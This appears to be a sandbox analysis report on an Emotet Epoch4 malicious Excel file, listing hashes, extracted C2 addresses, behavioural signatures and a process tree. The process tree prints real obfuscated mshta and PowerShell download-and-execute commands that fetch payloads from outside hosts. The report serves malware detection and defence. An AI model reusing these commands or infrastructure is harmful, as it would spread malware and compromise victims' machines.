emotet | edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878

General

Target

edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878.xls
Size

142KB
MD5

81f0a7a1ad8bf108c2648af767e77fcd
SHA1

9575d97617b4d5b9c22f5d2a0fbfbd3de1ad3de4
SHA256

edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878
SHA512

6ed134fd7cba8ddd3c195f5e31a1ce996b8bc5403933a47a23666b483720eb140ca7a8ba5fda71961ef5c7125e9a5b5575f60fb57d3c48879df75bb1980c5967

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1412	3308	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow	pid	Process
26	3640	mshta.exe
31	3920	powershell.exe
33	3920	powershell.exe
35	3920	powershell.exe
48	408	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid	Process
1580	rundll32.exe
1040	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Bdtuicfjhyuwnor\ewvv.gom	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
880	3640	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3308	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	Process
3920	powershell.exe
3920	powershell.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
880	WerFault.exe
3920	powershell.exe
408	rundll32.exe
408	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	880	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE
3308	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3308 wrote to memory of 2464	3308	EXCEL.EXE	70
PID 3308 wrote to memory of 2464	3308	EXCEL.EXE	70
PID 3308 wrote to memory of 1412	3308	EXCEL.EXE	72
PID 3308 wrote to memory of 1412	3308	EXCEL.EXE	72
PID 1412 wrote to memory of 3640	1412	cmd.exe	74
PID 1412 wrote to memory of 3640	1412	cmd.exe	74
PID 3640 wrote to memory of 3920	3640	mshta.exe	76
PID 3640 wrote to memory of 3920	3640	mshta.exe	76
PID 3920 wrote to memory of 2408	3920	powershell.exe	79
PID 3920 wrote to memory of 2408	3920	powershell.exe	79
PID 2408 wrote to memory of 1580	2408	cmd.exe	80
PID 2408 wrote to memory of 1580	2408	cmd.exe	80
PID 2408 wrote to memory of 1580	2408	cmd.exe	80
PID 1580 wrote to memory of 1040	1580	rundll32.exe	81
PID 1580 wrote to memory of 1040	1580	rundll32.exe	81
PID 1580 wrote to memory of 1040	1580	rundll32.exe	81
PID 1040 wrote to memory of 1752	1040	rundll32.exe	82
PID 1040 wrote to memory of 1752	1040	rundll32.exe	82
PID 1040 wrote to memory of 1752	1040	rundll32.exe	82
PID 1752 wrote to memory of 408	1752	rundll32.exe	83
PID 1752 wrote to memory of 408	1752	rundll32.exe	83
PID 1752 wrote to memory of 408	1752	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2464
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3920
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2408
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1580
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1040
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bdtuicfjhyuwnor\ewvv.gom",NfuEMXKp
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1752
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Bdtuicfjhyuwnor\ewvv.gom",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:408
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3640 -s 1640
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:880

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Documents\ssd.dll

MD5
935ba1595def5a0805ae1a74d2cd9d8b

SHA1
791bc00af07c2d2dd3ee24eb1530bb392a303e84

SHA256
618adbe8905868bc40289f8b27353a83ef8135a7f5ac190132c09ad9a8f84bee

SHA512
f3c29126de1e745ee5372970f6aa9f8fbc07104201338545cd5fa1267cff3b0bf07a75e748134afbb73c2a3bdf137cc43e0bb233967a7cb92a059b2ad8aac794

Download Submit
\Users\Public\Documents\ssd.dll

MD5
935ba1595def5a0805ae1a74d2cd9d8b

SHA1
791bc00af07c2d2dd3ee24eb1530bb392a303e84

SHA256
618adbe8905868bc40289f8b27353a83ef8135a7f5ac190132c09ad9a8f84bee

SHA512
f3c29126de1e745ee5372970f6aa9f8fbc07104201338545cd5fa1267cff3b0bf07a75e748134afbb73c2a3bdf137cc43e0bb233967a7cb92a059b2ad8aac794

Download Submit
\Users\Public\Documents\ssd.dll

MD5
935ba1595def5a0805ae1a74d2cd9d8b

SHA1
791bc00af07c2d2dd3ee24eb1530bb392a303e84

SHA256
618adbe8905868bc40289f8b27353a83ef8135a7f5ac190132c09ad9a8f84bee

SHA512
f3c29126de1e745ee5372970f6aa9f8fbc07104201338545cd5fa1267cff3b0bf07a75e748134afbb73c2a3bdf137cc43e0bb233967a7cb92a059b2ad8aac794

Download Submit
memory/408-623-0x00000000045B0000-0x00000000045D6000-memory.dmp

Filesize
152KB

Download
memory/408-620-0x0000000003FC0000-0x0000000003FE6000-memory.dmp

Filesize
152KB

Download
memory/1040-617-0x0000000005610000-0x0000000005636000-memory.dmp

Filesize
152KB

Download
memory/1040-615-0x00000000054B0000-0x00000000054D6000-memory.dmp

Filesize
152KB

Download
memory/1040-613-0x0000000005450000-0x0000000005476000-memory.dmp

Filesize
152KB

Download
memory/1040-611-0x00000000052C0000-0x00000000052E6000-memory.dmp

Filesize
152KB

Download
memory/1040-609-0x00000000051E0000-0x0000000005206000-memory.dmp

Filesize
152KB

Download
memory/1752-618-0x0000000003450000-0x0000000003476000-memory.dmp

Filesize
152KB

Download
memory/3308-119-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-120-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-129-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-658-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-121-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-657-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-132-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

Filesize
64KB

Download
memory/3308-118-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-656-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-655-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3308-131-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

Filesize
64KB

Download
memory/3920-276-0x000002EDC20A0000-0x000002EDC20C2000-memory.dmp

Filesize
136KB

Download
memory/3920-460-0x000002EDC2100000-0x000002EDDA2C0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-329-0x000002EDDA270000-0x000002EDDA2AC000-memory.dmp

Filesize
240KB

Download
memory/3920-364-0x000002EDC2100000-0x000002EDDA2C0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-551-0x000002EDC2100000-0x000002EDDA2C0000-memory.dmp

Filesize
385.8MB

Download
memory/3920-360-0x000002EDDA870000-0x000002EDDA8E6000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads